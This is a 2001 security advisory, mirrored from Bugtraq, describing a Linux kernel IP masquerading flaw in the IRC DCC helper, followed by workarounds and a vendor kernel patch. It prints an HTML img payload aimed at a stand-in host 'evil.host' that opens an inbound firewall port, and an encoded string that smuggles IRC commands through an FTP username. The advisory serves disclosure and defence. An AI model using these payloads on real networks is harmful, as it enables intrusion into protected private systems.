The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[RAZOR] Linux kernel IP masquerading vulnerability


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Mon, 30 Jul 2001 12:49:51 -0400 (EDT)
From: Michal Zalewski <lcamtuf@razor.bindview.com>
To: bugtraq@securityfocus.com
Subject: [RAZOR] Linux kernel IP masquerading vulnerability


RAZOR Advisory

Author:

  Michal Zalewski <lcamtuf@razor.bindview.com>

Issue Date: 

  July 30, 2001

Topic:

   A remotely exploitable IP masquerading vulnerability in the Linux
   kernel can be used to penetrate protected private networks.

Affected Platforms:

   Linux 2.0, Linux 2.2, and possibly other systems

Details:

   There was a discussion last year that detailed exploiting NAT packet
   inspection mechanisms on Linux and other operating systems by forcing
   a client's browser or MUA software to send specific data patterns
   without the user's knowledge (see 
   http://www.securityfocus.com/archive/82/50226) in order to open an
   inbound TCP port on the firewall. The original advisory by Mikael
   Olsson discussed the FTP masquerading helper vulnerability. When found
   in outbound traffic, the specific pattern sent by the client software
   is interpreted by the firewall as being a legitimate, user-initiated
   transfer request. Certain external systems are then temporarily
   allowed to initiate inbound connections to the location specified in
   the malicious packet by using the firewall as a packet forwarder.

   Appropriate (but not necessarily sufficient - see the later
   explainations) workarounds were incorporated in Linux kernels released
   after the original advisory and are now present in numerous firewall
   operating systems.

   Unfortunately, protocols other than those mentioned in the original
   discussions seem to be vulnerable as well. We found that IRC DCC
   helper (the Linux 2.2 ip_masq_irc module, and modules shipped with
   some other operating systems / firewalling software) can be exploited
   with

   <img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">

   or another similar pattern, depending on the helper implementation
   details ("addr" is the internal machine's IP address as a decimal
   integer).

   This sequence can be crafted in an HTML e-mail or on a visited
   webpage. The attacker should listen on tcp port 6667 on the specified
   remote host ("evil.host") and generate valid FTP protocol responses.
   The attacker will then receive information about the port number on
   the firewall that will be forwarded into the protected network. See
   the discussion in the original advisory for more details on this
   attack.

Workarounds:

   This new NAT server vulnerability related to DCC simply adds to the
   collection of similar vulnerabilities found in various other
   protocols, none of which have been fixed in any comprehensive way. In
   general, the following five types of workarounds might be used:

   1) Configure the NAT server to only allow a certain range of ports in
   processed requests. This workaround (only ports above 1024 are
   allowed) is currently implemented by Linux and other vendors.
   Unfortunately, this does not stop attacks or scans against any of the
   other thousands of high-port services - among the most significant of
   these are NFS, X11, Microsoft SQL Server, various RPC services,
   various HTTP proxy/cache services, and various remote
   management/diagnostic services.

   2) Have the firewall do more careful inspection of protocol traffic.
   This could identify and block noncompliant IRC client behavior, such
   as the behavior of an HTML e-mail client when accessing an ftp URL.
   Unfortunately, this requires very careful protocol tracking, and can
   be fooled by careful URL construction (e.g., passing the following
   string as the ftp username:
   "evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker") and
   response fragmentation, or by using a Java applet.

   3) Use a personal firewall (e.g., ZoneAlarm) on the internal machine
   that asks for user verification before connecting to an unusual port
   (6667) or before accepting suspected forwarded connections. Suitable
   personal firewalls may not be available for every OS.

   4) Research, design, and develop some way for the NAT server to ask
   the internal user whether he really requested an inbound port (e.g.,
   one-time challenge-response authentication).

   5) Don't install helper modules on your NAT server. For any protocol
   that needs a helper, require users to deploy a tunnel instead.

Vendor Response/Fix Information:

   Below is a patch against Linux 2.2.20pre kernel written by the IP
   masquerading subsystem maintainer, Juanjo Ciarlante
   <jjo@mendoza.gov.ar>. It is supposed to minimize potential impact
   caused by this vulnerability. Note that it does not completely fix the
   problem (see discussion above).

   Additionally, as suggested by Alexey Kuznetsov <kuznet@ms2.inr.ac.ru>,
   it is possible to limit the potential impact by carefully setting
   output chain rules (note that forwarding chain is bypassed by IP
   current masquerading rules table).

--- linux-2.2.20pre/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
+++ linux-2.2.20pre/net/ipv4/ip_masq_irc.c      Fri Jul 27 18:45:29 2001
@@ -38,7 +38,12 @@
  *     /etc/conf.modules (or /etc/modules.conf depending on your config)
  *     where modload will pick it up should you use modload to load your
  *     modules.
- *
+ *
+ * Insecure "back" data channel opening
+ *     The helper does some trivial checks when opening a new DCC data
+ *     channel. Use module parameter
+ *             insecure=1
+ *     ... to avoid this and get previous (pre 2.2.20) behaviour.
  */

 #include <linux/config.h>
@@ -72,6 +77,9 @@

 MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");

+static int insecure=0;
+MODULE_PARM(insecure, "i");
+

 /*
  * List of supported DCC protocols
@@ -110,6 +118,29 @@
         return 0;
 }

+
+/*
+ *     Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ *     The <1024 check and same source address just raise the
+ *     security "feeling" => they don't prevent a redirector listening
+ *     in same src address at a higher port; you should protect
+ *     your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct iphdr *iph, __u32 data_saddr, __u16 data_sport) {
+       int allow=1;
+       /*      Compatibility   */
+       if (insecure)
+               goto out;
+       /*
+        *      Ignore data channel back to other src addr, nor to port < 1024
+        */
+       if (iph->saddr != data_saddr || data_sport < 1024)
+               allow=0;
+out:
+       return allow;
+}
 int
 masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
 {
@@ -198,6 +229,11 @@

                                s_port = simple_strtoul(data,&data,10);
                                addr_end_p = data;
+
+                               /*      Simple validation       */
+                               if (!masq_irc_out_check(iph, s_addr, s_port))
+                                               /* We may just: return 0; */
+                                       continue;

                                /*      Do we already have a port open for this client?
                                 *      If so, use it (for DCC ACCEPT)




<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Спонсоры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2023 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру